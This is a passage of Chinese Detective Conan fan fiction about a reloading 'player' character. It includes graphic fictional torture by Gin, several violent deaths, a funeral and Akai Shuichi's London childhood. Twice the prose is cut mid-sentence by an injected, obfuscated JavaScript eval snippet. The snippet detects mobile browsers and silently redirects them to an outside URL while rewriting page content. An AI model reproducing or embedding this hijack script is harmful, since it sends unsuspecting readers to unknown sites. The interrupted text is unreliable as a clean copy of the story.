既然确定了要读档,森川和也有些有恃无恐了。 他往地上一躺,不再理会满头问号的卡慕:“你自便吧。” 玩家自然会挂机。 再次醒来时,森川和也首先感知到的是气味。 不是医院消毒水的味道,也不是火场焦糊的气息,而是冰冷的,混合着金属、旧皮革和化学药剂的味道。然后是触觉——手腕和脚踝处传来束缚感,身下的表面坚硬而冰凉。 他睁开眼睛。 视线有些模糊但很快聚焦。他躺在一张金属床上,四肢被牢牢固定。房间没有窗户,墙壁是光秃秃的水泥,天花板很高,嵌着一排惨白的LED灯管。灯光刺眼,他眯了眯眼。 记忆在缓慢回笼。 被卡慕坑死了。 森川和也试着动了动手指,还能动。他侧过头,观察环境。 房间不大,大约十平米,除了这张床,只有一个金属小推车靠在墙边,上面摆着些看不清的工具。门是厚重的金属门,没有窗户。 森川和也应该不清楚这是什么地方,但清水茶柱可太懂了——作为布伦尼文,他没少和琴酒参与这种场合。 他的配枪不见了,手机、钱包、钥匙——所有随身物品都没了。藏在袖口的铁丝被扯下来,鞋底的刀片估计也没幸存。身上还是那套便服,但外套被脱掉了,只剩下衬衫和裤子。 他检查自己的身体状况。后颈被击打的地方还在隐隐作痛,没有其他明显外伤。除了卡慕带他回来的时候,没有被注射其他药物的迹象——至少目前没有。四肢的束缚非常专业,皮带勒得很紧,但没到影响血液循环的程度。 原来真正被审讯是这种感觉。 琴酒对布伦尼文还是太温柔了。 门锁传来转动的声音。森川立刻闭上眼睛,调整呼吸,让自己看起来还没完全清醒。 门开了,脚步声在床边停下。一个声音响起,说的是英语:“醒了就别装睡。” 森川和也没动。 是琴酒。 “需要我帮你真正清醒过来吗?” 森川睁开眼睛。 站在床边的男人和他记忆中一模一样。银色长发,黑色礼帽,同色大衣,绿色的眼睛像结了冰的湖面,没有任何温度。他嘴里叼着一支烟,但没有点燃。 他身后还站着一个人,一个戴着墨镜的壮汉,此刻正抱着手臂站在门边,像一堵墙。 布伦尼文的事已经是过去了,森川和也告诉自己。 “名字。”琴酒说,改成了日语。 森川没说话,只是看着他。 琴酒也没想让他回答。 “森川和也,二十六岁,警视厅公安部所属,警部补,毕业于警察学校鬼冢班。”琴酒念着,“父亲森川苍太,前公安警察,失踪。母亲森川玲子,死于火灾。” 他抬起眼睛。 森川依然沉默。 琴酒把设备放回口袋,走到墙边的推车前,拿起一把手术钳——不锈钢的,在灯光下泛着冷光。他用钳子尖端轻轻敲了敲推车边缘,发出清脆的响声。 “一天前,你去了你母亲生前住过的老房子。”琴酒走回床边,手术钳的尖端在森川的脸侧虚虚划过,“你拿了什么,东西在哪?” 没有回答。 “那我问问别的,”琴酒俯身,银色的发丝垂下来,绿色的眼睛近距离盯着森川,“你是从哪知道卡慕的代号,又是从哪知道我和布伦尼文的?” 森川终于开口,声音因为久未说话而有些沙哑:“我爸妈说的。” “撒谎。”琴酒说。 手术钳的尖端抵在了森川的左手食指指甲缝下方——一个神经密集、痛觉敏锐的位置。 “我再问一次,”琴酒的声音很轻,“回答哪个问题都可以。你想先回答哪个?” 森川咬紧牙关。 琴酒施加压力。钳子尖端刺破皮肤,嵌入指甲和指肉之间的缝隙。剧痛像电流一样窜上来,森川的呼吸一滞,身体本能地绷紧。 “东西……我已经交给公安了。” “什么东西?”钳子又推进一点。 “不……知道……” 琴酒松手,钳子抽出来时带出鲜血。他直起身。 “你不适合撒谎,警察先生。”琴酒说,“你的生理反应太明显了——瞳孔放大,出汗,呼吸急促。而且你的手指,”他看向森川被固定住的左手,“刚才下意识想握拳,但被皮带限制住了。那是人在承受疼痛时本能的防御反应,但也是泄露信息的反应。” 他走回推车前,换了另一件工具——一根细长的金属探针,尖端锐利。 “让我们换个方式。”琴酒走回来,探针在灯光下闪着寒光,“你父亲是个好警察,可惜知道了不该知道的东西。他死后我们找了很多年都没找到,直到你母亲去世。而现在,你突然又开始调查。” 探针的尖端抵在森川的锁骨下方,靠近颈动脉的位置。 “东西在哪?”琴酒问,“你为什么会开始调查?” 森川的喉咙发干。他能感觉到探针的冰冷,也能预感到它刺入皮肤后会带来的疼痛。但他更清楚,如果说了,一切都完了。 “我说了给公安。”他下意识说,“你烦不烦啊琴酒。” 布伦尼文的反应。 琴酒没有立刻动手。他盯着森川的眼睛,似乎在评估什么。然后,他忽然问了一个出乎意料的问题:“你怕火吗?” 森川的心脏猛地一跳。 “四年前的火灾,你冲进去救你母亲,结果自己重伤。右手永久性损伤,创伤后应激障碍。” 他收回探针,转身从推车下层拿出一个东西——一个小型的喷枪,连着便携燃气罐。他打开阀门,按下点火开关。 “嗤”的一声,一道蓝色的火焰喷涌而出,约十厘米长,稳定地燃烧着。 琴酒举着喷枪,火焰在距离森川面部二十公分的地方跳动。热浪扑面而来,火焰的光芒在他眼中跳跃。 森川的呼吸开始失控。他能感觉到自己的心跳在疯狂加速,冷汗瞬间湿透了后背。眼前的火焰和记忆中的景象重叠——四年前的火海,母亲的身影,滚烫的金属,剧痛—— “不……”他听到自己在喃喃,声音发颤。 “告诉我,”琴酒把火焰又靠近了五公分,热浪几乎舔到森川的睫毛,“东西在哪?” 森川闭上眼睛,但火焰的光亮穿透眼皮,灼热的温度烙在皮肤上。他的身体开始不受控制地颤抖,束缚皮带被挣得嘎吱作响。 火焰突然移开了。 森川睁开眼,看到琴酒关掉了喷枪。但他没有松口气——因为琴酒接下来的动作更让他心寒。 他从推车上拿起一个注射器,里面是透明的液体。琴酒弹了弹针管,排出空气。 “这是一种神经兴奋剂。”琴酒像在介绍咖啡种类,“它会放大你的痛觉,降低你对疼痛的耐受阈值。” 针尖抵在森川颈侧的静脉上。 “配合刚才的火焰,”琴酒看着他,“你会体验到四年前火灾的痛苦,但更清醒。” 针尖刺入皮肤,冰凉的液体注入血管。 起初几秒没什么感觉。然后,一种奇异的麻痒感从注射点开始蔓延,像无数细小的虫子在血管里爬。接着,温度感知开始错乱——明明房间里很冷,他却觉得全身发热。 琴酒再次打开喷枪。这次火焰只开了很小的一簇,像打火机的火苗。 他把火苗移到森川右手手腕上方——那个有着狰狞旧伤疤的位置。距离还有十公分,但森川已经感到一阵剧烈的灼痛,仿佛火焰直接烧在皮肤上。 他惨叫出声。不是伪装,是真的痛。那种痛和记忆中的痛重叠,分不清哪部分是真实的,哪部分是药物放大的。 “东西,”琴酒的声音穿透剧痛,“在哪?” “琴酒……”森川几乎是无意识地说出这个词,疼痛让他思维混乱。 他不想忍受这一切了。 森川海开始挂机。 “他是晕了吗?”伏特加问。 森川海调出伏特加的面板,开始和自己比较。 也没什么很出众的地方啊,琴酒怎么挑的搭档。 “不。”琴酒咬牙,熟悉的挫败感让他越发烦躁:“他睡着了。” 森川海开始打○露谷,准备等琴酒不小心把自己弄死了就读档。 【警告 玩家生命值下降】 【警告 攻略角色死亡】 【警告 警告】 【玩家生命值持续下降】 被枪击、被切碎、被注射药物。 森川和也一直没什么反应,看上去不像睡着也不像晕了,像死了。 上一个能做出这种事的,是清水茶柱。 那个死在一次普通任务里的没用的废物。 琴酒把工具放了回去。 “不审讯了吗,大哥?”伏特加问,“他还什么都没说。” “用不着了。”琴酒冷冷的回复。 这种状态的清水茶柱是什么都问不出来的,剩下的只有最基本的生理反应。 出于最后的一点临终关怀,琴酒想了想:“你还有什么遗言吗?” 森川海迅速上线。 森川和也睁开眼。 “我想看你挨○,琴酒。”森川和也真诚道,“求你了我真想看这个我——” “那你还是去死吧。” 【Bad ending】 【昨日之影】 【评价S:还说什么,你把所有人坑了一遍,太厉害了】 第二次,森川和也没有带上萩原研二和松田阵平。 他不确定组织是否一直在盯着他,但能肯定,老房子附近不安全。降谷零和诸伏景光在组织卧底,他现在绝不能和组织扯上关系。 四年了,霉菌和雨水浸透后阴冷的气息依然顽强地残留着,混合成令人胸口发闷的味道。 二楼天花板塌掉的部分,露出一小片灰蒙蒙的天,天空中有飞鸟振翅滑过,倒映在同样朦胧的眼睛里,又像一滴泪水般消失。 森川和也安静地在二楼等待。 这一次他没有逃跑。 卡慕带着人上来时,看见的就是坐在窗沿的森川和也。 “找到想要的东西了?”卡慕问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189138|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有。”森川和也叹了口气,“这里被毁的太彻底了。” 接下来是很熟悉的流程,区别是审讯对象从琴酒换成了卡慕。 森川和也大部分时间在出神,偶尔配合几下。卡慕没琴酒那样的经验,倒是很好糊弄。 “看来东西不在你这里。”他听见卡慕说,“那你就没有用了。” 卡慕的手从衣服里抽了出来,手里握着一把装了消音器的手枪。 “噗”的一声轻响。 巨大的冲击力让森川和也向后踉跄,撞在烧焦的墙壁上。随后是剧烈的疼痛,从胸口扩散到全身。他低头,看到左胸心脏偏上的位置,迅速洇开一片深色。 呼吸骤然变得困难,每一次吸气都带着铁锈般的血腥味和火辣辣的痛楚。力量从四肢飞速流逝,他的视线开始模糊、摇晃。 卡慕居高临下地看着他。枪口再次抬起,对准了他的眉心。 “东西。”卡慕重复,语气依旧平静无波。 森川张了张嘴,想说什么,但涌出的只有温热的液体。视野边缘开始发黑,耳边响起嗡鸣。死亡的感觉如此冰冷。 卡慕等了大约几分钟,确认地上的警察已经停止了呼吸和抽搐。目标不再构成任何威胁。他蹲下身,用手指探了探森川的颈动脉,停顿了一会儿。 没有搏动。 他站起身,让随行的下属对尸体搜身后,转身迅速下楼,身影消失在门外的光线中。老房子里重归寂静,只有尘埃在光柱中继续缓慢沉浮。 “烧了吧。”卡慕自言自语,“干净点。” 酒精的气味、打火机的响声、然后是火焰燃烧的声音。 木屋是木头建的,很快就烧起来。热浪扑面而来,烟雾呛人。 森川躺在地上,动不了。他能感觉到火焰在靠近,能闻到木头烧焦的味道,能听到火舌舔舐墙壁的声音。 和四年前一样。 又是火。 他总是逃不过火。 但这一次不一样。 被鲜血浸透的衣物下,伤口周围的肌肉组织开始以肉眼难以察觉的微弱幅度蠕动收缩。破裂的血管被无形的力量强行接续,碾碎骨片被推挤复位,缺损的组织被疯狂消耗的能量催生填补。整个过程寂静无声,却充满了违背常理的诡谲。 森川和也猛地吸进一口气,像是溺水的人浮出水面,眼睛骤然睁开。他剧烈地咳嗽起来,吐出些许血沫,胸口残留着闷痛和奇异的新肉生长的麻痒感。他挣扎着坐起,颤抖着手扯开染血的衬衫。 左胸口,一个狰狞的暗红色伤疤取代了弹孔,皮肉已经愈合,疤痕组织凸起。 顾不上细看也顾不上后怕,森川咬紧牙关,忍着身体各处传来的虚弱和不适,扶着焦黑的墙壁艰难地站起来,从砖块和水泥下掏出那个铁盒子。 我的母亲不是受害者,她是一位战士。 他摇摇晃晃地走到窗边,用尽力气踹向一块已经松动的木板。木板断裂,露出一个不大的缺口。他挤了出去,从二楼跌落,给自己又添了些伤口。 他不敢停留,甚至不敢回头看一眼那栋吞噬了他两次生命的房子。那是一片火海,森川和也七岁时在里面死过一次,现在他只是凭着求生本能跌跌撞撞地离开,朝着与来时相反的方向,混入了不远处喧闹的街道人群之中。 阳光刺眼,人声嘈杂,充满鲜活的烟火气。 他在嘈杂的人群中太过异常,路过的人纷纷侧目。 但好在这一次成功了。怀里的遗物像一块烧红的炭,又像一颗冰冷的心脏。 森川和也避开人群,走向安静偏僻的小道。 “喂……hagi。”森川和也拨出一个电话,“我找到母亲留给我的东西了。” 他声音带笑,终于松了口气。 话音未落。 一只戴着黑色手套的手从他左后方探出,绕过森川和也举着手机的右臂,猛地锢住他的下颌,向后上方一扳!力道极大,动作干脆利落,森川和也的头不受控制地向后仰起。 “唔……嗬……” 一道冰冷的弧线从他暴露的颈前飞速划过——从左至右,深且狠。 短促的、被掐断在喉咙深处的闷哼。 森川和也举着手机的手僵住了,眼睛骤然睁大,瞳孔里倒映着明亮的日光和摇晃的树影,充满难以置信的茫然。 他第一反应是挂掉电话。 不能让研二听见。 但好像来不及了。 手机从他松开的手指滑落,“啪”地一声掉在人行道的砖石上,听筒里还隐约传出“……喂?怎么了,小和也?”的声音。 温热的液体瞬间涌出,浸透了他米色风衣的领口,变成迅速扩散的深色污迹。他徒劳地抬手想去捂住脖子,但力量随着血液飞速流逝。锢住他下颌的手松开了,他失去支撑,向前踉跄了一步,膝盖一软,重重地扑倒在地。 “喂?森川?” “森川和也?” …… 对不起。 【Bad ending】 【大火】 【评价B:那场大火在你身旁一直燃烧,再无终日】 12. 012 森川和也的葬礼在一个阴沉的上午举行,细雨如尘,将墓园的石碑和松柏洗刷得一片湿冷。空气里满是泥土和湿草的气味。 来的人不算多,稀稀落落地站在新挖的墓穴周围。棺木是普通的黑色,照片是森川和也的入职照,穿着笔挺的制服,脸上带着一点拘谨却干净的笑容,眼神明亮。才二十二岁。 萩原研二站在人群靠前的位置,没打伞,细密的雨珠很快打湿了他深色的西装外套和头发。他脸上没什么表情,既没有惯常的轻快笑容,也没有显见的悲痛,只是微微垂着眼,看着那方黑色的棺木,嘴唇抿成一条僵直的线。有相识的其他部门同事走过来,低声说几句“节哀”,他也只是极轻微地点点头,算是回应。 松田阵平站在他旁边半步远的地方,戴着墨镜,遮住了眼睛。他站得笔直,双手插在口袋里,下颌线绷得很紧。雨水顺着他墨镜的边缘滑下来,像一道浅浅的泪痕。他偶尔会幅度很小地偏一下头,朝向墓园入口的方向。那里空荡荡的,只有被雨打湿的路径和沉默的石碑。 鬼冢教官也来了,穿着旧式的警服,没戴帽子,头发被雨打湿贴在额头上。他站在稍远一些的地方,背着手,脸上是深刻的皱纹。他看着棺木上的警旗,看了很久,然后视线移到那张照片上,嘴唇动了动,最终什么也没说。 你能对一个已经死去的人说什么? 仪式简短而沉闷。主持的警官念着千篇一律的悼词,声音在雨声中显得模糊而遥远。“忠于职守”、“警界的损失”……这些词汇飘散在潮湿的空气里,带着公事公办的冰冷。棺木被缓缓放入墓穴,泥土被一锹一锹地撒上去,落在光亮的木板上,发出沉闷的声响。 萩原研二抬手用力抹了一把脸上的雨水,眼眶红得厉害,但他死死瞪着眼睛,没让里面的东西掉下来。 松田阵平全程看着萩原的动作,墨镜后的眼睛看不清情绪。他忽然开口,声音压得很低,只有萩原能听见:“那小子……怕黑。” 萩原猛地转头看他。 “以前在警校,他随身带着急救包。不止是害怕我们受伤,还因为每次晚上紧急集合,他都会磕到自己。”松田阵平的声音没什么起伏,像是在说一件无关紧要的事,“我说他笨手笨脚,他说不是,是有点夜盲,暗处看不清。” 他停顿了很久,久到又一锹泥土落下,才极轻地补了一句,轻得几乎被雨声吞没:“这下彻底黑了。” 萩原研二的呼吸猛地一窒,别过脸去,肩膀几不可察地颤抖起来。他抬手捂住了嘴,指节用力到发白。 仪式结束了。人们开始三三两两地散去,低声交谈着,走向墓园出口。雨似乎大了一点,打在伞面上噼啪作响。 萩原和松田没动,依旧站在原地。鬼冢教官走过来,在两人面前停下。他看了看松田脸上的墨镜,又看了看萩原通红的眼眶,想说什么,最终只是伸出手,重重地拍了拍两人的肩膀。力道很大,像是要把什么摇摇欲坠的东西拍稳。 “那家伙,”鬼冢教官开口,声音粗哑,“不是个让人省心的学生。成绩偏科,想法有时候也跳脱……但他最后没给警察学校丢人。” 他收回手,又看了一眼那渐渐被泥土掩埋的黑色,摇了摇头,转身一步一步踏着湿滑的路面离开了。 墓边很快只剩下萩原和松田两个人。雨幕将他们与远处模糊的人影隔开,世界仿佛只剩下这一角湿冷的寂静,和眼前这个正在消失的曾经鲜活的同伴。 “他不会喜欢的。”萩原研二忽然说,声音恢复了少许平稳,但带着浓重的鼻音,“这么安静。他大概会希望我们放点吵闹的音乐,几个熟人一起吃顿饭。” 松田阵平没接话。他摘下墨镜,用手指擦了擦镜片上的水雾。 “走吧。”松田重新戴上墨镜,声音冷硬,“待着也没用。他不会跳出来抱怨天气的。” 萩原研二最后深深看了一眼那小小的墓碑——上面只简单刻着名字和生卒年,还有一行“警视厅公安部”的小字。他点了点头,转身,和松田并肩,沉默地走入渐渐沥沥的雨中。 他们谁也没有再提那两个本该在这里、却始终没有出现的人。 雨持续地下着,冲刷着崭新的墓碑,也冲刷着生者心头难以愈合的沟壑。远处城市的天际线灰蒙蒙的,看不真切,像那个已经离去的人的眼睛。 而那双眼睛的主人永远留在了二十二岁这个潮湿的清晨。 【Bad ending】 【404 Not Found】 【评价A:你失去了姓名、面容、记忆与目的,但没关系,这就是死亡】 …… 伦敦的雨总是下得漫不经心,仿佛天空也懒得认真对待这个城市。细密的雨丝从灰蒙蒙的天空飘落,在超市橱窗的暖黄灯光外织成一层薄薄的帘幕。赤井秀一提着购物袋从超市走出来时,雨刚好下大了一些。 他停下脚步,从口袋里掏出折叠伞——那是母亲今早塞给他的,说天气预报不准,带着总没错。伞面撑开的瞬间,一个女声从旁边传来: “需要一起撑吗?我的伞比较大。” 赤井侧过头。说话的是个棕色头发的女孩,看上去和他年纪相仿,手里确实拿着一把明显过大的彩虹条纹雨伞。她的目光在他脸上停留得有点久,嘴角带着试探的微笑。 “不用了,谢谢。”赤井礼貌地回答,抬脚准备离开。 “等等——”女孩快步跟了上来,雨伞倾斜着试图遮住他,“你是附近学校的学生吗?我好像见过你。” 赤井秀一停下脚步,转过身正对着她。他的表情没什么变化。 “抱歉,我已经有女朋友了。”他说,“她叫莫妮卡。” 女孩愣了一下,笑容僵在脸上:“噢……这样啊。不好意思。” “没关系。”赤井点了点头,转身离开。 他刚走出几步,另一个声音就从超市方向传来,带着明显的戏谑: “莫妮卡?我什么时候改名叫莫妮卡了,还变了性别?” 赤井秀一不用回头就知道是谁。他停下脚步,等着声音的主人走过来。雨幕中,一个身影小跑着靠近,黑色的卷发在潮湿的空气里微微颤动——那是非常好看的卷发,浓密而富有光泽,即使在伦敦阴郁的天色下也显得生动。 莫尼科·海耶斯跑到他身边,自然地钻到他的伞下。他比赤井矮了半个头,抬头看赤井秀一时,那双深蓝色的眼睛里满是促狭的笑意。 “第几次了?”莫尼科问,一边把手里的小袋子塞进赤井提着的购物袋里,“这个月第三次?还是第四次?” “第二次。”赤井秀一纠正道,继续往前走。他的伞微微朝莫尼科那边倾斜了些。 “才月中就第二次了。”莫尼科摇摇头,黑色的卷发随着动作轻轻晃动,“Akai,你这样下去会单身一辈子的。每次有人搭讪你就说有女朋友,真的会有人信吗?” “她信了。” “那是因为你太认真了。”莫尼科笑着说,“你刚才说莫妮卡的时候,简直像在说今天会下雨一样理所当然。不过说真的,你能不能换个名字?每次都叫莫妮卡,还每次都用我名字的变体,哪天被揭穿了怎么办?” 赤井看了他一眼:“你的名字就叫莫尼科,改个发音不麻烦。” “是莫尼科,不是莫妮卡。”莫尼科强调,“差两个音节呢。而且你这样说,别人会以为你真的在和某个叫莫妮卡的女孩交往。” “有区别吗?”赤井秀一问,“反正结果一样——她们不会再纠缠。” 莫尼科沉默了几秒,然后长长地叹了口气:“完了,你真的会单身一辈子。玛丽阿姨知道会担心的。” 两人并肩走在湿漉漉的街道上。雨水敲击伞面的声音规律而轻柔,街灯在积水里投下暖黄色的光斑。这是伦敦西区一条普通的住宅街,红砖建筑整齐排列,大多数窗户里都亮着灯。 他们认识多久了?赤井秀一忽然想到这个问题。确切地说,是从莫尼科六岁、他七岁那年开始的。那时候莫尼科的父母——两位MI6特工——被派往一个长期任务,不得不将儿子托付给好友赤井玛丽照顾。这一托付就是近十年。 最初的日子里,那个黑头发的小男孩总是躲在玛丽阿姨身后,用那双深蓝色的眼睛怯生生地打量着他和秀吉。他不太说话,晚上偶尔会哭,想念父母的哭声压得很低,像是怕给别人添麻烦。 赤井秀一记得有一次,大约是在深夜两点,他起来喝水,发现莫尼科抱着膝盖坐在楼梯上。七岁的他站在楼梯下方,抬头看着这个新来的家人。 “你睡不着?”他问。 莫尼科点点头,没说话。 赤井秀一犹豫了一下,然后走上楼梯,在他旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189139|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边坐下。两人就这样并排坐着,什么也没说,直到莫尼科小声说:“我想爸爸妈妈了。” “他们什么时候回来?”赤井问。 “不知道。” 又是沉默。然后赤井秀一站起来:“我去拿棋盘。” 那是他们第一次下国际象棋。在凌晨两点半的厨房里,两个男孩对着棋盘,一盏灯在桌上投下暖黄的光晕。莫尼科赢了那局——后来赤井才知道,他父亲教过他,而那位海耶斯先生曾是大学棋社的冠军。 “将军。”六岁的莫尼科小声说,手指还按在自己的皇后上。 赤井盯着棋盘看了半晌,然后说:“再来一局。” 他们下了三局,莫尼科赢了两局。最后他打了个哈欠,眼睛都快睁不开了。赤井秀一收起棋盘,说:“去睡吧。” “明天还能下吗?”莫尼科问。 “嗯。” 从那以后,深夜的国际象棋成了某种惯例。有时是赤井赢,有时是莫尼科赢,大多数时候两人都不说话,只听着棋子落在棋盘上的轻响和屋外偶尔传来的汽车声。 “想什么呢?”莫尼科的声音把赤井从回忆里拉回来。 “没什么。”他说,“你今天怎么来超市了?” “玛丽阿姨让我买黄油,结果看见你在门口被人搭讪。”莫尼科从购物袋里翻出一盒饼干,“顺便买了这个,抹茶味的,你应该喜欢。” 赤井秀一看了一眼饼干盒:“我不喜欢甜食。” “你上次吃了我一整盒。” “那是你硬塞的。” “但你吃完了。” 赤井秀一没有反驳。事实上,他确实不讨厌抹茶味的东西,只是不愿意承认罢了。 又走了一段路,莫尼科忽然说:“其实你可以试着跟别人交往看看。不是每个搭讪的女孩都只是看脸。” “麻烦。”赤井简洁地回答。 “谈恋爱本来就是麻烦的事啊。”莫尼科说,“但也会有好的部分。” “比如?” “比如……有人陪你一起去超市?”他指了指两人共撑的伞,“或者有人记得你喜欢抹茶味的东西。” 赤井秀一沉默了一会儿,然后说:“你已经在做了。” 莫尼科愣了一下,然后笑了:“那不一样,我们是家人。” 这句话他说得自然极了,就像在说今天下雨了一样。赤井没有回应,但伞又朝他那边倾斜了一点。 雨渐渐小了,变成几乎看不见的细丝。街道尽头就是赤井家的房子,二层楼的红砖建筑,窗户里透出温暖的灯光。赤井秀一收起伞,在门口的地垫上碾了碾鞋底。 门从里面打开了。赤井玛丽站在门口,手里拿着毛巾:“正好,晚饭快好了。莫尼科,你妈妈刚才来电话了。” 莫尼科的眼睛亮了起来:“真的?她说什么?” “说任务进展顺利,可能下个月能回伦敦几天。”玛丽接过购物袋,拍了拍莫尼科的肩膀,“快去洗手,今天做了牧羊人派。” 厨房里飘出食物的香气,景象平常得几乎令人麻木——但赤井秀一知道,这样的平常不会持续太久。母亲已经开始谈论回美国的计划。 莫尼科似乎也察觉到了什么。晚餐时,他比平时安静,只是在玛丽问起学校的事情时才多说几句。他的父母长期在外,赤井家是他最稳定的归处,而如果赤井家离开英国…… “莫尼科。”赤井秀一忽然开口。 “嗯?” “下周有场国际象棋比赛,中学组的。” 莫尼科抬头看他:“你要参加?” “我们。”赤井纠正道,“双人赛。” 他的眼睛又亮了起来,那种熟悉的光芒:“真的?可是双人赛需要配合……” “所以周末练习。”赤井语气平常,“每天两小时,从周六开始。” 玛丽笑了:“太好了,咱们家的棋手要出征了。” 晚餐后,莫尼科主动帮忙洗碗。水流声和碗碟碰撞的声响中,他小声对赤井说:“谢谢你。” “谢什么?” “邀请我参加比赛。”他擦干一个盘子,放回橱柜,“还有……所有的事。” 赤井没有回答,只是接过他洗好的下一个盘子,用毛巾擦干。窗外,雨已经完全停了,夜空露出深蓝色的缝隙,像莫尼科的眼睛。 13. 013 夜空同样是深蓝色。 后来发生了很多事,世良真纯的出生,赤井务武的失踪。赤井秀一人生中每一个重要的时刻莫尼科都在场。 父亲不再回来的晚上,莫尼科会在深夜敲响赤井秀一的房门,带着伦敦湿漉漉的水汽,不管不顾地闯进来。 “如果我们再找不到他呢?” 莫尼科的手扣进赤井秀一的指缝,亲密的像一个拥抱。 …… 那些夜晚之后,赤井秀一很少再握任何人的手。但很多年后,在某个危险而孤独的时刻,他偶尔会想起十二岁那年长久的雨夜,想起那只紧紧握住他的手,想起有人说过“那就找,一直找,直到找到为止”。 而那时,他已经太清楚——有些离别是永远也找不到的。 奖杯摆在书架最显眼的位置,已经十年了。 莫尼科·海耶斯坐在伦敦公寓的书桌前,目光扫过那个小小的金色奖杯。底座上刻着“搭档”,字迹因为时间的存在已经有些模糊。窗外的伦敦依然是熟悉的灰蒙蒙天空,但很多事情已经变了。 他今年二十六岁,正式加入MI6已经八年。父母仍在世界各地执行任务,而他选择了和他们一样的道路,只是最初的原因连他自己都说不清。也许是因为从小耳濡目染,也许是因为某种使命感,又或者只是想要成为一个保护者。 电脑屏幕上显示着一封已读邮件。发件人是秀一,时间显示是三天前。 【主题:最近如何 内容:训练很忙。纽约的冬天比伦敦冷。保持联系。 ——Aaki】 简洁得像电报。莫尼科笑了笑,开始回复。十年年来,他们的邮件一直是这样——简短、直接、从未中断。秀一去了美国进了FBI训练营,这是他在几年前的一封邮件里提到的。莫尼科则在回信中轻描淡写地说自己“找到了一份政府文职工作”。 两人都隐瞒了最重要的部分。 莫尼科知道赤井秀一在FBI,但他以为赤井秀一只是普通探员。赤井秀一知道莫尼科在为政府工作,但以为只是普通的文职。他们都认为自己在保护对方——不让对方卷入自己世界的危险。 【主题:回复:最近如何 内容:工作还好。伦敦还是老样子,总是下雨。玛丽阿姨上周来电话,说你们在纽约安顿得不错。保重身体。 ——莫尼科】 点击发送。他靠在椅背上,看向窗外。雨又开始下了,细密的雨丝在玻璃上划出轨迹。 …… 五个月前,秀一的邮件开始变得稀少。从每周一封,变成两周,然后是三周。最近一次是一个月前,内容只有两个字:“很忙。” 莫尼科起初没有多想。FBI的训练和工作确实繁忙,他自己给MI6拉磨时也几乎没有任何私人时间。但秀一的邮件完全停止了。他发了三封询问,都没有回复。打电话过去,号码已经停用。 不安在心中滋生。 系统面板在视线边缘闪烁——那是只有他能看到的界面,属于玩家森川海的系统。他几乎忘记了自己最初进入这个世界的身份。但现在,面板上的信息冰冷地证实了他的猜测。 【角色:赤井秀一 当前状态:伪装身份“诸星大”已激活 所属组织:黑衣组织(卧底中) 风险等级:极高】 莫尼科闭上眼睛,深吸一口气。当他再次睁开眼睛时,深蓝色的瞳孔里只剩下平静。他调出MI6所有关于“黑衣组织”的情报文件,开始阅读。 两个小时后,他向后靠在椅背上,用手揉了揉太阳穴。碎片开始拼凑起来——父母多年来追踪的跨国犯罪网络,MI6最近重点关注的日本方面动向,秀一的突然消失……所有线索都指向同一个名字:黑衣组织。 这个庞大的阴影似乎触及了世界的每一个角落。 也触及了他的每一段人生。森川海想。 为什么呢? 作为布伦尼文的第一次试错,死于黑衣组织暗杀的森川和也,现在他的家人也要走上那条不为人知的道路。 难道就没有别的选择吗? 极高的字样一直在他面前闪烁,莫尼科叹了口气,把桌上刻有他和Akai名字的奖杯收起来。 莫尼科·海耶斯站在MI6总部那栋无名的灰色建筑七楼,透过单向玻璃看着伦敦的街景。雨滴顺着玻璃滑落,将窗外的城市模糊成一片水彩般的灰绿。他的手指轻轻敲击着窗沿,节奏稳定,像在无声地说话。 三天前,确认秀一可能已以“诸星大”的身份潜入黑衣组织后,莫尼科就知道自己必须去日本。 他需要创造一个“恰好”的机会。 莫尼科调取了所有涉及日本、黑衣组织、跨国犯罪网络的文件,在连续三个夜晚的自愿加班中将这些材料交叉分析,刻意在分析报告中使用了一些模糊但引人注意的措辞。 报告在周三早晨出现在上司的桌上。莫尼科选择的时间很巧妙——刚结束与东亚区负责人的视频会议,正对日本方面的情报流不畅感到不满。 午休时,莫尼科“偶然”在咖啡间遇到了情报分析部的同事。她曾是他母亲的学生,一直对莫尼科照顾有加。 周四的模拟演练中,莫尼科被随机分配到日本街头场景。他流利的日语让评估员侧目——很标准的东京口音,夹杂着恰到好处的俚语。 周五,当接到东亚区请求支援的邮件时,所有碎片已经就位。邮件里提到需要一名“日语流利、有侦查能力、能低调行动”的人员前往东京进行初步情报对接和现场评估。 上司看着邮件,又看了看桌上莫尼科的分析报告,想起昨天和同事闲聊时的话,想起演练评估里“语言能力突出”的评语。 莫尼科实在是个很好用的下属。 “有个短期任务,去东京,情报交接加初步侦查。” “是,长官。” 离开办公室时,莫尼科的表情依然平静。窗外雨还在下,但伦敦的雨和东京的雨终究不同。他将要去往那个陌生又熟悉的城市,寻找一个以陌生名字生活的故人。 …… 十二小时的飞行时间。莫尼科坐在经济舱靠窗的位置,看着云层在下方铺展。飞机上很安静,大多数乘客在睡觉或看电影。他假装闭目养神,脑海中却在梳理所有已知信息。 Akai为什么要用卧底身份进入那个组织?是FBI的任务,还是个人选择?他现在安全吗?如果身份暴露…… “各位乘客请注意,请系好安全带。”机长的声音从广播传来,带着一丝不寻常的紧张,“我们遇到一些气流……” 突然,机舱前方传来一声巨响。 莫尼科瞬间睁开眼睛。不是气流。他看见三个男人从座位上站起来,手里拿着武器。其中一人冲进驾驶舱,另外两人举枪对准乘客。 